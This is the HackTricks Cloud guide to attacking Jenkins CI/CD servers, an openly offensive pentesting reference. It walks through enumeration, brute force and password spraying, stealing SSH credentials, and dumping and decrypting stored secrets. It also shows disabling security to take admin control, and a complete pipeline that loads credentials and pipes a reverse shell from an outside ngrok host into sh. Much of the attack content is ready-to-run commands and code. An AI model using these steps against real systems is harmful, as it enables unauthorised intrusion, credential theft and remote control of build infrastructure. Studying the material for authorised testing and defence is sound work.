Files
hacktricks-cloud/pentesting-ci-cd/jenkins-security/README.md
2024-12-12 19:35:48 +01:00

440 lines
20 KiB
Markdown

# Jenkins Security
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
{% content-ref url="basic-jenkins-information.md" %}
[basic-jenkins-information.md](basic-jenkins-information.md)
{% endcontent-ref %}
## Unauthenticated Enumeration
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Check if you can execute commands without needing authentication:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
![](<../../.gitbook/assets/image (146).png>)
### Known Vulnerabilities
{% embed url="https://github.com/gquere/pwn_jenkins" %}
## Login
In the basic information you can check **all the ways to login inside Jenkins**:
{% content-ref url="basic-jenkins-information.md" %}
[basic-jenkins-information.md](basic-jenkins-information.md)
{% endcontent-ref %}
### Register
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
### **SSO Login**
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
In these scenarios we are going to suppose you have a valid account to access Jenkins.
{% hint style="warning" %}
Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
{% endhint %}
For more information check the basic information:
{% content-ref url="basic-jenkins-information.md" %}
[basic-jenkins-information.md](basic-jenkins-information.md)
{% endcontent-ref %}
### Listing users
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
![](<../../.gitbook/assets/image (218).png>)
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
### **RCE in Jenkins**
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
### **RCE Creating/Modifying a project**
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{% content-ref url="jenkins-rce-creating-modifying-project.md" %}
[jenkins-rce-creating-modifying-project.md](jenkins-rce-creating-modifying-project.md)
{% endcontent-ref %}
### **RCE Execute Groovy script**
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
{% content-ref url="jenkins-rce-with-groovy-script.md" %}
[jenkins-rce-with-groovy-script.md](jenkins-rce-with-groovy-script.md)
{% endcontent-ref %}
### RCE Creating/Modifying Pipeline
You can also get **RCE by creating/modifying a pipeline**:
{% content-ref url="jenkins-rce-creating-modifying-pipeline.md" %}
[jenkins-rce-creating-modifying-pipeline.md](jenkins-rce-creating-modifying-pipeline.md)
{% endcontent-ref %}
## Pipeline Exploitation
To exploit pipelines you still need to have access to Jenkins.
### Build Pipelines
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
![](<../../.gitbook/assets/image (127).png>)
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
The most common triggers to execute a custom pipeline are:
* **Pull request** to the main branch (or potentially to other branches)
* **Push to the main branch** (or potentially to other branches)
* **Update the main branch** and wait until it's executed somehow
{% hint style="info" %}
If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
{% endhint %}
### Pipeline RCE
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
### Checking Env variables
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets
For information about how are secrets usually treated by Jenkins check out the basic information:
{% content-ref url="basic-jenkins-information.md" %}
[basic-jenkins-information.md](basic-jenkins-information.md)
{% endcontent-ref %}
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Here you have the way to load some common secret types:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
{% hint style="warning" %}
The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
{% endhint %}
### Triggers
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
Check **other examples in the docs**.
### Nodes & Agents
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
For more information check the basic information:
{% content-ref url="basic-jenkins-information.md" %}
[basic-jenkins-information.md](basic-jenkins-information.md)
{% endcontent-ref %}
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
![](<../../.gitbook/assets/image (249).png>)
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
```bash
pipeline {
agent {label 'built-in'}
```
### Complete example
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
```
## Arbitrary File Read to RCE
{% content-ref url="jenkins-arbitrary-file-read-to-rce-via-remember-me.md" %}
[jenkins-arbitrary-file-read-to-rce-via-remember-me.md](jenkins-arbitrary-file-read-to-rce-via-remember-me.md)
{% endcontent-ref %}
## RCE
{% content-ref url="jenkins-rce-with-groovy-script.md" %}
[jenkins-rce-with-groovy-script.md](jenkins-rce-with-groovy-script.md)
{% endcontent-ref %}
{% content-ref url="jenkins-rce-creating-modifying-project.md" %}
[jenkins-rce-creating-modifying-project.md](jenkins-rce-creating-modifying-project.md)
{% endcontent-ref %}
{% content-ref url="jenkins-rce-creating-modifying-pipeline.md" %}
[jenkins-rce-creating-modifying-pipeline.md](jenkins-rce-creating-modifying-pipeline.md)
{% endcontent-ref %}
## Post Exploitation
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
![](<../../.gitbook/assets/image (180).png>)
#### From Groovy
{% content-ref url="jenkins-dumping-secrets-from-groovy.md" %}
[jenkins-dumping-secrets-from-groovy.md](jenkins-dumping-secrets-from-groovy.md)
{% endcontent-ref %}
#### From disk
These files are needed to **decrypt Jenkins secrets**:
* secrets/master.key
* secrets/hudson.util.Secret
Such **secrets can usually be found in**:
* credentials.xml
* jobs/.../build.xml
* jobs/.../config.xml
Here's a regex to find them:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decrypt Jenkins secrets offline
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Decrypt Jenkins secrets from Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Create new admin user
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
## References
* [https://github.com/gquere/pwn\_jenkins](https://github.com/gquere/pwn_jenkins)
* [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
* [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
* [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
* [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
* [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}